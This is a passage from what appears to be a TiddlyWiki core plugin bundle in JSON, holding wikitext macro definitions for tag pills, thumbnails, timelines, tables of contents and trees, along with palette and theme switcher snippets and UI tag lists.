            "text": "\\define tag-pill-styles()\nbackground-color:$(backgroundColor)$;\nfill:$(foregroundColor)$;\ncolor:$(foregroundColor)$;\n\\end\n\n\\define tag-pill-inner(tag,icon,colour,fallbackTarget,colourA,colourB,element-tag,element-attributes,actions)\n<$vars foregroundColor=<<contrastcolour target:\"\"\"$colour$\"\"\" fallbackTarget:\"\"\"$fallbackTarget$\"\"\" colourA:\"\"\"$colourA$\"\"\" colourB:\"\"\"$colourB$\"\"\">> backgroundColor=\"\"\"$colour$\"\"\">\n<$element-tag$ $element-attributes$ class=\"tc-tag-label tc-btn-invisible\" style=<<tag-pill-styles>>>\n$actions$<$transclude tiddler=\"\"\"$icon$\"\"\"/> <$view tiddler=<<__tag__>> field=\"title\" format=\"text\" />\n</$element-tag$>\n</$vars>\n\\end\n\n\\define tag-pill-body(tag,icon,colour,palette,element-tag,element-attributes,actions)\n<$macrocall $name=\"tag-pill-inner\" tag=<<__tag__>> icon=\"\"\"$icon$\"\"\" colour=\"\"\"$colour$\"\"\" fallbackTarget={{$palette$##tag-background}} colourA={{$palette$##foreground}} colourB={{$palette$##background}} element-tag=\"\"\"$element-tag$\"\"\" element-attributes=\"\"\"$element-attributes$\"\"\" actions=\"\"\"$actions$\"\"\"/>\n\\end\n\n\\define tag-pill(tag,element-tag:\"span\",element-attributes:\"\",actions:\"\")\n<span class=\"tc-tag-list-item\">\n<$macrocall $name=\"tag-pill-body\" tag=<<__tag__>> icon={{{ [<__tag__>get[icon]] }}} colour={{{ [<__tag__>get[color]] }}} palette={{$:/palette}} element-tag=\"\"\"$element-tag$\"\"\" element-attributes=\"\"\"$element-attributes$\"\"\" actions=\"\"\"$actions$\"\"\"/>\n</span>\n\\end\n\n\\define tag(tag)\n{{$tag$||$:/core/ui/TagTemplate}}\n\\end\n"
        },
        "$:/core/macros/thumbnails": {
            "title": "$:/core/macros/thumbnails",
            "tags": "$:/tags/Macro",
            "text": "\\define thumbnail(link,icon,color,background-color,image,caption,width:\"280\",height:\"157\")\n<$link to=\"\"\"$link$\"\"\"><div class=\"tc-thumbnail-wrapper\">\n<div class=\"tc-thumbnail-image\" style=\"width:$width$px;height:$height$px;\"><$reveal type=\"nomatch\" text=\"\" default=\"\"\"$image$\"\"\" tag=\"div\" style=\"width:$width$px;height:$height$px;\">\n[img[$image$]]\n</$reveal><$reveal type=\"match\" text=\"\" default=\"\"\"$image$\"\"\" tag=\"div\" class=\"tc-thumbnail-background\" style=\"width:$width$px;height:$height$px;background-color:$background-color$;\"></$reveal></div><div class=\"tc-thumbnail-icon\" style=\"fill:$color$;color:$color$;\">\n$icon$\n</div><div class=\"tc-thumbnail-caption\">\n$caption$\n</div>\n</div></$link>\n\\end\n\n\\define thumbnail-right(link,icon,color,background-color,image,caption,width:\"280\",height:\"157\")\n<div class=\"tc-thumbnail-right-wrapper\"><<thumbnail \"\"\"$link$\"\"\" \"\"\"$icon$\"\"\" \"\"\"$color$\"\"\" \"\"\"$background-color$\"\"\" \"\"\"$image$\"\"\" \"\"\"$caption$\"\"\" \"\"\"$width$\"\"\" \"\"\"$height$\"\"\">></div>\n\\end\n\n\\define list-thumbnails(filter,width:\"280\",height:\"157\")\n<$list filter=\"\"\"$filter$\"\"\"><$macrocall $name=\"thumbnail\" link={{!!link}} icon={{!!icon}} color={{!!color}} background-color={{!!background-color}} image={{!!image}} caption={{!!caption}} width=\"\"\"$width$\"\"\" height=\"\"\"$height$\"\"\"/></$list>\n\\end\n"
        },
        "$:/core/macros/timeline": {
            "title": "$:/core/macros/timeline",
            "created": "20141212105914482",
            "modified": "20141212110330815",
            "tags": "$:/tags/Macro",
            "text": "\\define timeline-title()\n<!-- Override this macro with a global macro \n     of the same name if you need to change \n     how titles are displayed on the timeline \n     -->\n<$view field=\"title\"/>\n\\end\n\\define timeline(limit:\"100\",format:\"DDth MMM YYYY\",subfilter:\"\",dateField:\"modified\")\n<div class=\"tc-timeline\">\n<$list filter=\"[!is[system]$subfilter$has[$dateField$]!sort[$dateField$]limit[$limit$]eachday[$dateField$]]\">\n<div class=\"tc-menu-list-item\">\n<$view field=\"$dateField$\" format=\"date\" template=\"$format$\"/>\n<$list filter=\"[sameday:$dateField${!!$dateField$}!is[system]$subfilter$!sort[$dateField$]]\">\n<div class=\"tc-menu-list-subitem\">\n<$link to={{!!title}}>\n<<timeline-title>>\n</$link>\n</div>\n</$list>\n</div>\n</$list>\n</div>\n\\end\n"
        },
        "$:/core/macros/toc": {
            "title": "$:/core/macros/toc",
            "tags": "$:/tags/Macro",
            "text": "\\define toc-caption()\n<$set name=\"tv-wikilinks\" value=\"no\">\n  <$transclude field=\"caption\">\n    <$view field=\"title\"/>\n  </$transclude>\n</$set>\n\\end\n\n\\define toc-body(tag,sort:\"\",itemClassFilter,exclude,path)\n<ol class=\"tc-toc\">\n  <$list filter=\"\"\"[all[shadows+tiddlers]tag<__tag__>!has[draft.of]$sort$] -[<__tag__>] -[enlist<__exclude__>]\"\"\">\n    <$vars item=<<currentTiddler>> path={{{ [<__path__>addsuffix[/]addsuffix<__tag__>] }}} excluded=\"\"\"[enlist<__exclude__>] -[<__tag__>]\"\"\">\n      <$set name=\"toc-item-class\" filter=<<__itemClassFilter__>> emptyValue=\"toc-item\" value=\"toc-item-selected\">\n        <li class=<<toc-item-class>>>\n          <$list filter=\"[all[current]toc-link[no]]\" emptyMessage=\"<$link><$view field='caption'><$view field='title'/></$view></$link>\">\n            <<toc-caption>>\n          </$list>\n          <$macrocall $name=\"toc-body\" tag=<<item>> sort=<<__sort__>> itemClassFilter=<<__itemClassFilter__>> exclude=<<excluded>> path=<<path>>/>\n        </li>\n      </$set>\n    </$vars>\n  </$list>\n</ol>\n\\end\n\n\\define toc(tag,sort:\"\",itemClassFilter:\" \")\n<$macrocall $name=\"toc-body\"  tag=<<__tag__>> sort=<<__sort__>> itemClassFilter=<<__itemClassFilter__>> />\n\\end\n\n\\define toc-linked-expandable-body(tag,sort:\"\",itemClassFilter,exclude,path)\n<!-- helper function -->\n<$qualify name=\"toc-state\" title={{{ [[$:/state/toc]addsuffix<__path__>addsuffix[-]addsuffix<currentTiddler>] }}}>\n  <$set name=\"toc-item-class\" filter=<<__itemClassFilter__>> emptyValue=\"toc-item\" value=\"toc-item-selected\">\n    <li class=<<toc-item-class>>>\n    <$link>\n      <$reveal type=\"nomatch\" stateTitle=<<toc-state>> text=\"open\">\n        <$button setTitle=<<toc-state>> setTo=\"open\" class=\"tc-btn-invisible tc-popup-keep\">\n          {{$:/core/images/right-arrow}}\n        </$button>\n      </$reveal>\n      <$reveal type=\"match\" stateTitle=<<toc-state>> text=\"open\">\n        <$button setTitle=<<toc-state>> setTo=\"close\" class=\"tc-btn-invisible tc-popup-keep\">\n          {{$:/core/images/down-arrow}}\n        </$button>\n      </$reveal>\n      <<toc-caption>>\n    </$link>\n    <$reveal type=\"match\" stateTitle=<<toc-state>> text=\"open\">\n      <$macrocall $name=\"toc-expandable\" tag=<<currentTiddler>> sort=<<__sort__>> itemClassFilter=<<__itemClassFilter__>> exclude=<<__exclude__>> path=<<__path__>>/>\n    </$reveal>\n    </li>\n  </$set>\n</$qualify>\n\\end\n\n\\define toc-unlinked-expandable-body(tag,sort:\"\",itemClassFilter:\" \",exclude,path)\n<!-- helper function -->\n<$qualify name=\"toc-state\" title={{{ [[$:/state/toc]addsuffix<__path__>addsuffix[-]addsuffix<currentTiddler>] }}}>\n  <$set name=\"toc-item-class\" filter=<<__itemClassFilter__>> emptyValue=\"toc-item\" value=\"toc-item-selected\">\n    <li class=<<toc-item-class>>>\n      <$reveal type=\"nomatch\" stateTitle=<<toc-state>> text=\"open\">\n        <$button setTitle=<<toc-state>> setTo=\"open\" class=\"tc-btn-invisible tc-popup-keep\">\n          {{$:/core/images/right-arrow}}\n          <<toc-caption>>\n        </$button>\n      </$reveal>\n      <$reveal type=\"match\" stateTitle=<<toc-state>> text=\"open\">\n        <$button setTitle=<<toc-state>> setTo=\"close\" class=\"tc-btn-invisible tc-popup-keep\">\n          {{$:/core/images/down-arrow}}\n          <<toc-caption>>\n        </$button>\n      </$reveal>\n      <$reveal type=\"match\" stateTitle=<<toc-state>> text=\"open\">\n        <$macrocall $name=\"toc-expandable\" tag=<<currentTiddler>> sort=<<__sort__>> itemClassFilter=<<__itemClassFilter__>> exclude=<<__exclude__>> path=<<__path__>>/>\n      </$reveal>\n    </li>\n  </$set>\n</$qualify>\n\\end\n\n\\define toc-expandable-empty-message()\n<$macrocall $name=\"toc-linked-expandable-body\" tag=<<tag>> sort=<<sort>> itemClassFilter=<<itemClassFilter>> exclude=<<excluded>> path=<<path>>/>\n\\end\n\n\\define toc-expandable(tag,sort:\"\",itemClassFilter:\" \",exclude,path)\n<$vars tag=<<__tag__>> sort=<<__sort__>> itemClassFilter=<<__itemClassFilter__>> excluded=\"\"\"[enlist<__exclude__>] -[<__tag__>]\"\"\" path={{{ [<__path__>addsuffix[/]addsuffix<__tag__>] }}}>\n  <ol class=\"tc-toc toc-expandable\">\n    <$list filter=\"\"\"[all[shadows+tiddlers]tag<__tag__>!has[draft.of]$sort$] -[<__tag__>] -[enlist<__exclude__>]\"\"\">\n      <$list filter=\"[all[current]toc-link[no]]\" emptyMessage=<<toc-expandable-empty-message>> >\n        <$macrocall $name=\"toc-unlinked-expandable-body\" tag=<<__tag__>> sort=<<__sort__>> itemClassFilter=\"\"\"itemClassFilter\"\"\" exclude=<<excluded>> path=<<path>> />\n      </$list>\n    </$list>\n  </ol>\n</$vars>\n\\end\n\n\\define toc-linked-selective-expandable-body(tag,sort:\"\",itemClassFilter:\" \",exclude,path)\n<$qualify name=\"toc-state\" title={{{ [[$:/state/toc]addsuffix<__path__>addsuffix[-]addsuffix<currentTiddler>] }}}>\n  <$set name=\"toc-item-class\" filter=<<__itemClassFilter__>> emptyValue=\"toc-item\" value=\"toc-item-selected\" >\n    <li class=<<toc-item-class>>>\n      <$link>\n          <$list filter=\"[all[current]tagging[]limit[1]]\" variable=\"ignore\" emptyMessage=\"<$button class='tc-btn-invisible'>{{$:/core/images/blank}}</$button>\">\n          <$reveal type=\"nomatch\" stateTitle=<<toc-state>> text=\"open\">\n            <$button setTitle=<<toc-state>> setTo=\"open\" class=\"tc-btn-invisible tc-popup-keep\">\n              {{$:/core/images/right-arrow}}\n            </$button>\n          </$reveal>\n          <$reveal type=\"match\" stateTitle=<<toc-state>> text=\"open\">\n            <$button setTitle=<<toc-state>> setTo=\"close\" class=\"tc-btn-invisible tc-popup-keep\">\n              {{$:/core/images/down-arrow}}\n            </$button>\n          </$reveal>\n        </$list>\n        <<toc-caption>>\n      </$link>\n      <$reveal type=\"match\" stateTitle=<<toc-state>> text=\"open\">\n        <$macrocall $name=\"toc-selective-expandable\" tag=<<currentTiddler>> sort=<<__sort__>> itemClassFilter=<<__itemClassFilter__>> exclude=<<__exclude__>> path=<<__path__>>/>\n      </$reveal>\n    </li>\n  </$set>\n</$qualify>\n\\end\n\n\\define toc-unlinked-selective-expandable-body(tag,sort:\"\",itemClassFilter:\" \",exclude,path)\n<$qualify name=\"toc-state\" title={{{ [[$:/state/toc]addsuffix<__path__>addsuffix[-]addsuffix<currentTiddler>] }}}>\n  <$set name=\"toc-item-class\" filter=<<__itemClassFilter__>> emptyValue=\"toc-item\" value=\"toc-item-selected\">\n    <li class=<<toc-item-class>>>\n      <$list filter=\"[all[current]tagging[]limit[1]]\" variable=\"ignore\" emptyMessage=\"<$button class='tc-btn-invisible'>{{$:/core/images/blank}}</$button> <$view field='caption'><$view field='title'/></$view>\">\n        <$reveal type=\"nomatch\" stateTitle=<<toc-state>> text=\"open\">\n          <$button setTitle=<<toc-state>> setTo=\"open\" class=\"tc-btn-invisible tc-popup-keep\">\n            {{$:/core/images/right-arrow}}\n            <<toc-caption>>\n          </$button>\n        </$reveal>\n        <$reveal type=\"match\" stateTitle=<<toc-state>> text=\"open\">\n          <$button setTitle=<<toc-state>> setTo=\"close\" class=\"tc-btn-invisible tc-popup-keep\">\n            {{$:/core/images/down-arrow}}\n            <<toc-caption>>\n          </$button>\n        </$reveal>\n      </$list>\n      <$reveal type=\"match\" stateTitle=<<toc-state>> text=\"open\">\n        <$macrocall $name=\"toc-selective-expandable\" tag=<<currentTiddler>> sort=<<__sort__>> itemClassFilter=<<__itemClassFilter__>> exclude=<<__exclude__>> path=<<__path__>>/>\n      </$reveal>\n    </li>\n  </$set>\n</$qualify>\n\\end\n\n\\define toc-selective-expandable-empty-message()\n<$macrocall $name=\"toc-linked-selective-expandable-body\" tag=<<tag>> sort=<<sort>> itemClassFilter=<<itemClassFilter>> exclude=<<excluded>> path=<<path>>/>\n\\end\n\n\\define toc-selective-expandable(tag,sort:\"\",itemClassFilter,exclude,path)\n<$vars tag=<<__tag__>> sort=<<__sort__>> itemClassFilter=<<__itemClassFilter__>> excluded=\"\"\"[enlist<__exclude__>] -[<__tag__>]\"\"\" path={{{ [<__path__>addsuffix[/]addsuffix<__tag__>] }}}>\n  <ol class=\"tc-toc toc-selective-expandable\">\n    <$list filter=\"\"\"[all[shadows+tiddlers]tag<__tag__>!has[draft.of]$sort$] -[<__tag__>] -[enlist<__exclude__>]\"\"\">\n      <$list filter=\"[all[current]toc-link[no]]\" variable=\"ignore\" emptyMessage=<<toc-selective-expandable-empty-message>> >\n        <$macrocall $name=\"toc-unlinked-selective-expandable-body\" tag=<<__tag__>> sort=<<__sort__>> itemClassFilter=<<__itemClassFilter__>> exclude=<<excluded>> path=<<path>>/>\n      </$list>\n    </$list>\n  </ol>\n</$vars>\n\\end\n\n\\define toc-tabbed-external-nav(tag,sort:\"\",selectedTiddler:\"$:/temp/toc/selectedTiddler\",unselectedText,missingText,template:\"\")\n<$tiddler tiddler={{{ [<__selectedTiddler__>get[text]] }}}>\n  <div class=\"tc-tabbed-table-of-contents\">\n    <$linkcatcher to=<<__selectedTiddler__>>>\n      <div class=\"tc-table-of-contents\">\n        <$macrocall $name=\"toc-selective-expandable\" tag=<<__tag__>> sort=<<__sort__>> itemClassFilter=\"[all[current]field:title<__selectedTiddler__>]\"/>\n      </div>\n    </$linkcatcher>\n    <div class=\"tc-tabbed-table-of-contents-content\">\n      <$reveal stateTitle=<<__selectedTiddler__>> type=\"nomatch\" text=\"\">\n        <$transclude mode=\"block\" tiddler=<<__template__>>>\n          <h1><<toc-caption>></h1>\n          <$transclude mode=\"block\">$missingText$</$transclude>\n        </$transclude>\n      </$reveal>\n      <$reveal stateTitle=<<__selectedTiddler__>> type=\"match\" text=\"\">\n        $unselectedText$\n      </$reveal>\n    </div>\n  </div>\n</$tiddler>\n\\end\n\n\\define toc-tabbed-internal-nav(tag,sort:\"\",selectedTiddler:\"$:/temp/toc/selectedTiddler\",unselectedText,missingText,template:\"\")\n<$linkcatcher to=<<__selectedTiddler__>>>\n  <$macrocall $name=\"toc-tabbed-external-nav\" tag=<<__tag__>> sort=<<__sort__>> selectedTiddler=<<__selectedTiddler__>> unselectedText=<<__unselectedText__>> missingText=<<__missingText__>> template=<<__template__>>/>\n</$linkcatcher>\n\\end\n\n"
        },
        "$:/core/macros/translink": {
            "title": "$:/core/macros/translink",
            "tags": "$:/tags/Macro",
            "text": "\\define translink(title,mode:\"block\")\n<div style=\"border:1px solid #ccc; padding: 0.5em; background: black; foreground; white;\">\n<$link to=\"\"\"$title$\"\"\">\n<$text text=\"\"\"$title$\"\"\"/>\n</$link>\n<div style=\"border:1px solid #ccc; padding: 0.5em; background: white; foreground; black;\">\n<$transclude tiddler=\"\"\"$title$\"\"\" mode=\"$mode$\">\n\"<$text text=\"\"\"$title$\"\"\"/>\" is missing\n</$transclude>\n</div>\n</div>\n\\end\n"
        },
        "$:/core/macros/tree": {
            "title": "$:/core/macros/tree",
            "tags": "$:/tags/Macro",
            "text": "\\define leaf-link(full-title, chunk)\n<$link to=<<__full-title__>>><$text text=<<__chunk__>>/></$link>\n\\end\n\n\\define leaf-node(prefix, chunk)\n<li>\n<$list filter=\"[<__prefix__>addsuffix<__chunk__>is[shadow]] [<__prefix__>addsuffix<__chunk__>is[tiddler]]\" variable=\"full-title\">\n<$list filter=\"[<full-title>removeprefix<__prefix__>]\" variable=\"chunk\">\n<span>{{$:/core/images/file}}</span> <$macrocall $name=\"leaf-link\" full-title=<<full-title>> chunk=<<chunk>>/>\n</$list>\n</$list>\n</li>\n\\end\n\n\\define branch-node(prefix, chunk)\n<li>\n<$set name=\"reveal-state\" value={{{ [[$:/state/tree/]addsuffix<__prefix__>addsuffix<__chunk__>] }}}>\n<$reveal type=\"nomatch\" stateTitle=<<reveal-state>> text=\"show\">\n<$button setTitle=<<reveal-state>> setTo=\"show\" class=\"tc-btn-invisible\">\n{{$:/core/images/folder}} <$text text=<<__chunk__>>/>\n</$button>\n</$reveal>\n<$reveal type=\"match\" stateTitle=<<reveal-state>> text=\"show\">\n<$button setTitle=<<reveal-state>> setTo=\"hide\" class=\"tc-btn-invisible\">\n{{$:/core/images/folder}} <$text text=<<__chunk__>>/>\n</$button>\n</$reveal>\n<span>(<$count filter=\"[all[shadows+tiddlers]removeprefix<__prefix__>removeprefix<__chunk__>] -[<__prefix__>addsuffix<__chunk__>]\"/>)</span>\n<$reveal type=\"match\" stateTitle=<<reveal-state>> text=\"show\">\n<$macrocall $name=\"tree-node\" prefix={{{ [<__prefix__>addsuffix<__chunk__>] }}}/>\n</$reveal>\n</$set>\n</li>\n\\end\n\n\\define tree-node(prefix)\n<ol>\n<$list filter=\"[all[shadows+tiddlers]removeprefix<__prefix__>splitbefore[/]sort[]!suffix[/]]\" variable=\"chunk\">\n<$macrocall $name=\"leaf-node\" prefix=<<__prefix__>> chunk=<<chunk>>/>\n</$list>\n<$list filter=\"[all[shadows+tiddlers]removeprefix<__prefix__>splitbefore[/]sort[]suffix[/]]\" variable=\"chunk\">\n<$macrocall $name=\"branch-node\" prefix=<<__prefix__>> chunk=<<chunk>>/>\n</$list>\n</ol>\n\\end\n\n\\define tree(prefix: \"$:/\")\n<div class=\"tc-tree\">\n<span><$text text=<<__prefix__>>/></span>\n<div>\n<$macrocall $name=\"tree-node\" prefix=<<__prefix__>>/>\n</div>\n</div>\n\\end\n"
        },
        "$:/snippets/minilanguageswitcher": {
            "title": "$:/snippets/minilanguageswitcher",
            "text": "<$select tiddler=\"$:/language\">\n<$list filter=\"[[$:/languages/en-GB]] [plugin-type[language]sort[title]]\">\n<option value=<<currentTiddler>>><$view field=\"description\"><$view field=\"name\"><$view field=\"title\"/></$view></$view></option>\n</$list>\n</$select>"
        },
        "$:/snippets/minithemeswitcher": {
            "title": "$:/snippets/minithemeswitcher",
            "text": "\\define lingo-base() $:/language/ControlPanel/Theme/\n<<lingo Prompt>> <$select tiddler=\"$:/theme\">\n<$list filter=\"[plugin-type[theme]sort[title]]\">\n<option value=<<currentTiddler>>><$view field=\"name\"><$view field=\"title\"/></$view></option>\n</$list>\n</$select>"
        },
        "$:/snippets/modules": {
            "title": "$:/snippets/modules",
            "text": "\\define describeModuleType(type)\n{{$:/language/Docs/ModuleTypes/$type$}}\n\\end\n<$list filter=\"[moduletypes[]]\">\n\n!! <$macrocall $name=\"currentTiddler\" $type=\"text/plain\" $output=\"text/plain\"/>\n\n<$macrocall $name=\"describeModuleType\" type=<<currentTiddler>>/>\n\n<ul><$list filter=\"[all[current]modules[]]\"><li><$link><<currentTiddler>></$link>\n</li>\n</$list>\n</ul>\n</$list>\n"
        },
        "$:/palette": {
            "title": "$:/palette",
            "text": "$:/palettes/Vanilla"
        },
        "$:/snippets/paletteeditor": {
            "title": "$:/snippets/paletteeditor",
            "text": "\\define lingo-base() $:/language/ControlPanel/Palette/Editor/\n\\define describePaletteColour(colour)\n<$transclude tiddler=\"$:/language/Docs/PaletteColours/$colour$\"><$text text=\"$colour$\"/></$transclude>\n\\end\n<$set name=\"currentTiddler\" value={{$:/palette}}>\n\n<<lingo Prompt>> <$link to={{$:/palette}}><$macrocall $name=\"currentTiddler\" $output=\"text/plain\"/></$link>\n\n<$list filter=\"[all[current]is[shadow]is[tiddler]]\" variable=\"listItem\">\n<<lingo Prompt/Modified>>\n<$button message=\"tm-delete-tiddler\" param={{$:/palette}}><<lingo Reset/Caption>></$button>\n</$list>\n\n<$list filter=\"[all[current]is[shadow]!is[tiddler]]\" variable=\"listItem\">\n<<lingo Clone/Prompt>>\n</$list>\n\n<$button message=\"tm-new-tiddler\" param={{$:/palette}}><<lingo Clone/Caption>></$button>\n\n<table>\n<tbody>\n<$list filter=\"[all[current]indexes[]]\" variable=\"colourName\">\n<tr>\n<td>\n''<$macrocall $name=\"describePaletteColour\" colour=<<colourName>>/>''<br/>\n<$macrocall $name=\"colourName\" $output=\"text/plain\"/>\n</td>\n<td>\n<$edit-text index=<<colourName>> tag=\"input\"/>\n<br>\n<$edit-text index=<<colourName>> type=\"color\" tag=\"input\"/>\n</td>\n</tr>\n</$list>\n</tbody>\n</table>\n</$set>\n"
        },
        "$:/snippets/palettepreview": {
            "title": "$:/snippets/palettepreview",
            "text": "<$set name=\"currentTiddler\" value={{$:/palette}}>\n{{||$:/snippets/currpalettepreview}}\n</$set>\n"
        },
        "$:/snippets/paletteswitcher": {
            "title": "$:/snippets/paletteswitcher",
            "text": "<$linkcatcher to=\"$:/palette\">\n<div class=\"tc-chooser\"><$list filter=\"[all[shadows+tiddlers]tag[$:/tags/Palette]sort[description]]\"><$set name=\"cls\" filter=\"[all[current]prefix{$:/palette}]\" value=\"tc-chooser-item tc-chosen\" emptyValue=\"tc-chooser-item\"><div class=<<cls>>><$link to={{!!title}}>''<$view field=\"name\" format=\"text\"/>'' - <$view field=\"description\" format=\"text\"/>{{||$:/snippets/currpalettepreview}}</$link>\n</div></$set>\n</$list>\n</div>\n</$linkcatcher>"
        },
        "$:/snippets/peek-stylesheets": {
            "title": "$:/snippets/peek-stylesheets",
            "text": "\\define expandable-stylesheets-list()\n<ol>\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/Stylesheet]!has[draft.of]]\">\n<$vars state=<<qualify \"$:/config/peek-stylesheets/open/\">>>\n<$set name=\"state\" value={{{ [<state>addsuffix<currentTiddler>] }}}>\n<li>\n<$reveal type=\"match\" state=<<state>> text=\"yes\" tag=\"span\">\n<$button set=<<state>> setTo=\"no\" class=\"tc-btn-invisible\">\n{{$:/core/images/down-arrow}}\n</$button>\n</$reveal>\n<$reveal type=\"nomatch\" state=<<state>> text=\"yes\" tag=\"span\">\n<$button set=<<state>> setTo=\"yes\" class=\"tc-btn-invisible\">\n{{$:/core/images/right-arrow}}\n</$button>\n</$reveal>\n<$link>\n<$view field=\"title\"/>\n</$link>\n<$reveal type=\"match\" state=<<state>> text=\"yes\" tag=\"div\">\n<$set name=\"source\" tiddler=<<currentTiddler>>>\n<$wikify name=\"styles\" text=<<source>>>\n<pre>\n<code>\n<$text text=<<styles>>/>\n</code>\n</pre>\n</$wikify>\n</$set>\n</$reveal>\n</li>\n</$set>\n</$vars>\n</$list>\n</ol>\n\\end\n\n\\define stylesheets-list()\n<ol>\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/Stylesheet]!has[draft.of]]\">\n<li>\n<$link>\n<$view field=\"title\"/>\n</$link>\n<$set name=\"source\" tiddler=<<currentTiddler>>>\n<$wikify name=\"styles\" text=<<source>>>\n<pre>\n<code>\n<$text text=<<styles>>/>\n</code>\n</pre>\n</$wikify>\n</$set>\n</li>\n</$list>\n</ol>\n\\end\n\n<$vars modeState=<<qualify \"$:/config/peek-stylesheets/mode/\">>>\n\n<$reveal type=\"nomatch\" state=<<modeState>> text=\"expanded\" tag=\"div\">\n<$button set=<<modeState>> setTo=\"expanded\" class=\"tc-btn-invisible\">{{$:/core/images/chevron-right}} {{$:/language/ControlPanel/Stylesheets/Expand/Caption}}</$button>\n</$reveal>\n<$reveal type=\"match\" state=<<modeState>> text=\"expanded\" tag=\"div\">\n<$button set=<<modeState>> setTo=\"restored\" class=\"tc-btn-invisible\">{{$:/core/images/chevron-down}} {{$:/language/ControlPanel/Stylesheets/Restore/Caption}}</$button>\n</$reveal>\n\n<$reveal type=\"nomatch\" state=<<modeState>> text=\"expanded\" tag=\"div\">\n<<expandable-stylesheets-list>>\n</$reveal>\n<$reveal type=\"match\" state=<<modeState>> text=\"expanded\" tag=\"div\">\n<<stylesheets-list>>\n</$reveal>\n\n</$vars>\n"
        },
        "$:/temp/search": {
            "title": "$:/temp/search",
            "text": ""
        },
        "$:/tags/AdvancedSearch": {
            "title": "$:/tags/AdvancedSearch",
            "list": "[[$:/core/ui/AdvancedSearch/Standard]] [[$:/core/ui/AdvancedSearch/System]] [[$:/core/ui/AdvancedSearch/Shadows]] [[$:/core/ui/AdvancedSearch/Filter]]"
        },
        "$:/tags/AdvancedSearch/FilterButton": {
            "title": "$:/tags/AdvancedSearch/FilterButton",
            "list": "$:/core/ui/AdvancedSearch/Filter/FilterButtons/dropdown $:/core/ui/AdvancedSearch/Filter/FilterButtons/clear $:/core/ui/AdvancedSearch/Filter/FilterButtons/export $:/core/ui/AdvancedSearch/Filter/FilterButtons/delete"
        },
        "$:/tags/ControlPanel": {
            "title": "$:/tags/ControlPanel",
            "list": "$:/core/ui/ControlPanel/Info $:/core/ui/ControlPanel/Appearance $:/core/ui/ControlPanel/Settings $:/core/ui/ControlPanel/Saving $:/core/ui/ControlPanel/Plugins $:/core/ui/ControlPanel/Tools $:/core/ui/ControlPanel/Internals"
        },
        "$:/tags/ControlPanel/Info": {
            "title": "$:/tags/ControlPanel/Info",
            "list": "$:/core/ui/ControlPanel/Basics $:/core/ui/ControlPanel/Advanced"
        },
        "$:/tags/ControlPanel/Plugins": {
            "title": "$:/tags/ControlPanel/Plugins",
            "list": "[[$:/core/ui/ControlPanel/Plugins/Installed]] [[$:/core/ui/ControlPanel/Plugins/Add]]"
        },
        "$:/tags/EditTemplate": {
            "title": "$:/tags/EditTemplate",
            "list": "[[$:/core/ui/EditTemplate/controls]] [[$:/core/ui/EditTemplate/title]] [[$:/core/ui/EditTemplate/tags]] [[$:/core/ui/EditTemplate/shadow]] [[$:/core/ui/ViewTemplate/classic]] [[$:/core/ui/EditTemplate/body]] [[$:/core/ui/EditTemplate/type]] [[$:/core/ui/EditTemplate/fields]]"
        },
        "$:/tags/EditToolbar": {
            "title": "$:/tags/EditToolbar",
            "list": "[[$:/core/ui/Buttons/delete]] [[$:/core/ui/Buttons/cancel]] [[$:/core/ui/Buttons/save]]"
        },
        "$:/tags/EditorToolbar": {
            "title": "$:/tags/EditorToolbar",
            "list": "$:/core/ui/EditorToolbar/paint $:/core/ui/EditorToolbar/opacity $:/core/ui/EditorToolbar/line-width $:/core/ui/EditorToolbar/rotate-left $:/core/ui/EditorToolbar/clear $:/core/ui/EditorToolbar/bold $:/core/ui/EditorToolbar/italic $:/core/ui/EditorToolbar/strikethrough $:/core/ui/EditorToolbar/underline $:/core/ui/EditorToolbar/superscript $:/core/ui/EditorToolbar/subscript $:/core/ui/EditorToolbar/mono-line $:/core/ui/EditorToolbar/mono-block $:/core/ui/EditorToolbar/quote $:/core/ui/EditorToolbar/list-bullet $:/core/ui/EditorToolbar/list-number $:/core/ui/EditorToolbar/heading-1 $:/core/ui/EditorToolbar/heading-2 $:/core/ui/EditorToolbar/heading-3 $:/core/ui/EditorToolbar/heading-4 $:/core/ui/EditorToolbar/heading-5 $:/core/ui/EditorToolbar/heading-6 $:/core/ui/EditorToolbar/link $:/core/ui/EditorToolbar/excise $:/core/ui/EditorToolbar/picture $:/core/ui/EditorToolbar/stamp $:/core/ui/EditorToolbar/size $:/core/ui/EditorToolbar/editor-height $:/core/ui/EditorToolbar/more $:/core/ui/EditorToolbar/preview $:/core/ui/EditorToolbar/preview-type"
        },
        "$:/tags/Manager/ItemMain": {
            "title": "$:/tags/Manager/ItemMain",
            "list": "$:/Manager/ItemMain/WikifiedText $:/Manager/ItemMain/RawText $:/Manager/ItemMain/Fields"
        },
        "$:/tags/Manager/ItemSidebar": {
            "title": "$:/tags/Manager/ItemSidebar",
            "list": "$:/Manager/ItemSidebar/Tags $:/Manager/ItemSidebar/Colour $:/Manager/ItemSidebar/Icon $:/Manager/ItemSidebar/Tools"
        },
        "$:/tags/MoreSideBar": {
            "title": "$:/tags/MoreSideBar",
            "list": "[[$:/core/ui/MoreSideBar/All]] [[$:/core/ui/MoreSideBar/Recent]] [[$:/core/ui/MoreSideBar/Tags]] [[$:/core/ui/MoreSideBar/Missing]] [[$:/core/ui/MoreSideBar/Drafts]] [[$:/core/ui/MoreSideBar/Orphans]] [[$:/core/ui/MoreSideBar/Types]] [[$:/core/ui/MoreSideBar/System]] [[$:/core/ui/MoreSideBar/Shadows]] [[$:/core/ui/MoreSideBar/Explorer]] [[$:/core/ui/MoreSideBar/Plugins]]",
            "text": ""
        },
        "$:/tags/PageControls": {
            "title": "$:/tags/PageControls",
